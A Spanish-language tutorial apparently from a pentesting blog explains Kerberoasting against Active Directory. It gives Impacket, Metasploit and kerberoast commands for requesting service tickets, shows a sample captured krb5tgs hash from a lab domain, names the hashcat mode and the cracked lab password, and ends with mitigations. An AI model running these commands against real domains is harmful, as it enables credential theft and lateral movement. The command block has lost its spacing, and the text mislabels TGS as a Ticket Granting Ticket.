El "Kerberoasting" es una técnica que los atacantes pueden usar para extraer tickets de servicio de Kerberos del Directorio Activo y luego intentar descifrar esos tickets fuera de línea para obtener las contraseñas en texto claro de las cuentas de servicio. A continuación, se describe cómo funciona y por qué es una vulnerabilidad en los entornos de AD:
El objetivo de Kerberoasting es recolectar tickets TGS (Ticket Granting Tickets) para servicios que se ejecutan en nombre de cuentas de usuario en el AD, no de cuentas de ordenador. Así, parte de estos tickets TGS están cifrados con claves derivadas de las contraseñas de los usuarios. Como consecuencia, sus credenciales podrían ser crackeadas offline. Se puede saber que una cuenta de usuario se está utilizando como servicio porque la propiedad "ServicePrincipalName" no es nula. Por lo tanto, para realizar Kerberoasting, sólo es necesaria una cuenta de dominio que pueda solicitar TGSs, que es cualquiera ya que no se requieren privilegios especiales.
¿Cómo funciona Kerberoasting?
Ticket de Servicio: En Kerberos, cuando un usuario quiere acceder a un servicio, solicita un ticket de servicio (TGS, Ticket Granting Service). Este ticket está cifrado con la contraseña de la cuenta de servicio del recurso al que el usuario quiere acceder.
Extracción: Un atacante no necesita privilegios especiales en el dominio para solicitar un ticket de servicio para cualquier cuenta de servicio. Una vez que el atacante tiene el ticket, puede exportarlo y llevarlo a otro lugar para intentar descifrarlo.
Descifrado: El atacante intentará descifrar el ticket fuera de línea utilizando herramientas de fuerza bruta o diccionarios. Si la contraseña de la cuenta de servicio es débil, el atacante podría descifrarla en un tiempo razonable.
Compromiso: Una vez que el atacante tiene la contraseña en texto claro de la cuenta de servicio, puede usarla para acceder a recursos o moverse lateralmente en la red.
¿Por qué es una vulnerabilidad?
Contraseñas débiles: Las cuentas de servicio a menudo tienen contraseñas que raramente se cambian debido a preocupaciones operativas. Estas contraseñas estáticas, si son débiles, son vulnerables al descifrado.
Permisos Elevados: Algunas cuentas de servicio pueden tener permisos elevados en el dominio o en sistemas individuales. Un atacante que comprometa una cuenta de servicio podría ganar un acceso significativo.
Falta de Monitorización: Las solicitudes de tickets de servicio son operaciones normales en una red que utiliza Kerberos. Esto hace que sea difícil para los defensores detectar la actividad maliciosa.
Linux
# Metasploit frameworkmsf> useauxiliary/gather/get_user_spns# ImpacketGetUserSPNs.py-request-dc-ip<DC_IP><DOMAIN.FULL>/<USERNAME>-outputfilehashes.kerberoast# Password will be promptedGetUserSPNs.py-request-dc-ip<DC_IP>-hashes<LMHASH>:<NTHASH><DOMAIN>/<USERNAME>-outputfilehashes.kerberoast# kerberoast: https://github.com/skelsec/kerberoastkerberoastldapspn'ldap+ntlm-password://<DOMAIN.FULL>\<USERNAME>:<PASSWORD>@<DC_IP>'-okerberoastable# 1. Enumerate kerberoastable userskerberoastspnroast'kerberos+password://<DOMAIN.FULL>\<USERNAME>:<PASSWORD>@<DC_IP>'-tkerberoastable_spn_users.txt-okerberoast.hashes# 2. Dump hashes
Ejemplo
Esta vulnerabilidad fue previamente detectada con el resultado de ADPeas:
[?] +++++ Searching for Kerberoastable User +++++[!] Found Kerberoastable User 'roast.user':sAMAccountName: roast.userdistinguishedName: CN=roast.user,CN=Users,DC=evilcorp,DC=corpobjectSid: S-1-5-21-1861162130-2580302541-221646211-1127pwdLastSet: 09/29/202302:03:36lastLogonTimestamp: 09/29/202302:03:36userAccountControl: NORMAL_ACCOUNTHashcat usage: hashcat -m 13100$krb5tgs$23$*roast.user$spartancybersec.corp$MSSQL/sql.evilcorp.corp*$A8DDCBEA1C6AEFE971C4BA672CBC9F32$8D3C7A07D449581969F4AB91BCDBA8FB06FFC89DB32DBF7E1A749CC4ED6B75F94081A66AC6800DF451243CCFFC99ECF84B329247D3C8ABF0E8B81684171DC99E1D1261BED8BEBB55FB094E1349FF0FC976C5F6DDA37F3BFF6263CCAA7A4A1466893493B92D5B45FD49D6793070134551E1CA418528F76521F4E76CA67FC27A36207507A5E6CC4F26211816F7455CFD3C9A32B1DE98C3F8C73CB70D25D8DDFC67084316856736B1D363177BA112F57096D188DB465A2A43B3FC3902D8BED0CC200A3273F8798FBA72A9585E6E2F728DEDE48CB678411064FDC0A58011A42B93301D4F98F47DD26E02DBECBF8FF7053472879C4105F66CACA699B62D6DFC70E91351AC5F8A778A622DACB54BF9B0E7D91D264A23D62014B2E5CB4088B5ED8F1F13C46F7CBA74D5BFB4207F3FE5FAB512CD3FE9E1A41AE02C710895F656CF8562B58F516E5B656162F22CBC9FA2E1FF5E58A8D19491D751D187AAC82810EEF259A8FB78373B37A192A8E8BB553D437E765B459A4AFB2F7BD6E0B4CC775244503407861063F697AA79212EB01CF96B81A8A18666F3E2EC108DC45C24EF8392F1144D7DBB797DFB0B5E078EB707573B1FCE19B7CF0196684899100E8716D6AAF790804D6F755832CB61666A982937193FF2681632448BD1BC670552458B6FF1ECD6FA7384CB1426BE5332CF363624D7E58E57EB6EAD8D5E637B5F4EB5FCF9660157C5A4D02BE879D341189067A771AED1ABB44C2FF194B21D64F50D6760B229FB8B654347AE9E22E3D41A93EAFD655B71C63BD25ECA4082F82719CAC5B3A22A085C994925C876054DADB4440A047E7A0E2290EB39D9FDE403285E25815EEB16AB9382C2039A97FE9A945B7C55B2191EE9BAF73A004916D2C36423A33CA219362B864793D5D6E4ED3B62FE9EB584DE00AEBE7FD83DEB19C8D78CD24F2F9915824E79A56EA87C0598DCD00AC8A38FFB28C8B3128845EFF57A52904D4E3E70E1F1D575E67B4CB93C4D467CBF4AB94280316C605795347C90B174C9B2B05F2B65E886538400A240C5ABC729CA0BC63A35675C1790A28C43EAC15EA322E29AF15CDE522BADA7A44F6D0CD7D73EA110E860C92CB839B27E6DF530F7D30C1C886150A4D51DAC872DF5210C81A9BD22092202E70C03EE542F3690B82781C18741FB747298A33C1226D671C5F1B00A7B5D1DD46C8C7184466EB83F5D38A1E1297436D9DD845704A489A38ABF11FFD996DF0A97D703A4D611DFEF66FFAAC80F5DA75FBA4A6D71416D193A15F1C195E8DAB0FD2EC8AB9EC0952657607965C8FE0B1C1AC66D8CB36804A497AFD146687BD3A337630ACF8707406E5B27C56665C5C6BB6CEECC6FBB95D3E472FA818BEE0F1A2466B8807E2D524746EF79B77A6E104FDA867BF23F80293BD7C64329663ED5F6FA02CF9658B4E2EFAC662502B3C21592BE2C4B1155AF70C07A87CB1143C2EDFE86FE75E70E21014E4E072EE49C1A1ACA6102F4FEE01FACBB2F4629988FA2B7CA4A91583604B81AE6FD06393C4A915362796ED4D780B1FEC6C7C510B43B4D68971FAEB491F84F48A48DCB680639BBA7551188102BF48DFE974D8A94B3F12A619526C2925A28B5E22653A03A6C97BA72478531FC76CD24E9AEAD779F07C6778D2212D77DF238DCBBB9E4234201D40824654CE64258DD8A6A82D5862DA71BE067FFADBE78282552EE5DDD0D33AADB0C6F06
Aunque tambien podrias descubrirla utilizando Rubeus.exe
Para crackear este hash podemos utilizar el siguiente comando:
El resultado de un ataque de fuerza bruta siempre estará condicionado a tener un buen diccionario. Es recomendable generar diccionarios personalizados con patrones comunes
Primero almacenamos todo el hash en un archivo "hash-kerberoasting" y luego ejecutamos hashcat:
La contraseña para este caso era débil y es: Password@1
Mitigación:
Utilizar Contraseñas Fuertes: Asegúrate de que todas las cuentas de servicio tengan contraseñas largas y complejas, lo que hará que el proceso de descifrado sea mucho más difícil y tome más tiempo.
Rotar Contraseñas: Cambia las contraseñas de las cuentas de servicio regularmente.
Monitorización: Monitorea las solicitudes anómalas de tickets de servicio y los intentos de uso de cuentas de servicio.
Uso de AES: Usa AES en lugar de RC4 para cifrar los tickets de Kerberos, ya que AES es más resistente a este tipo de ataque.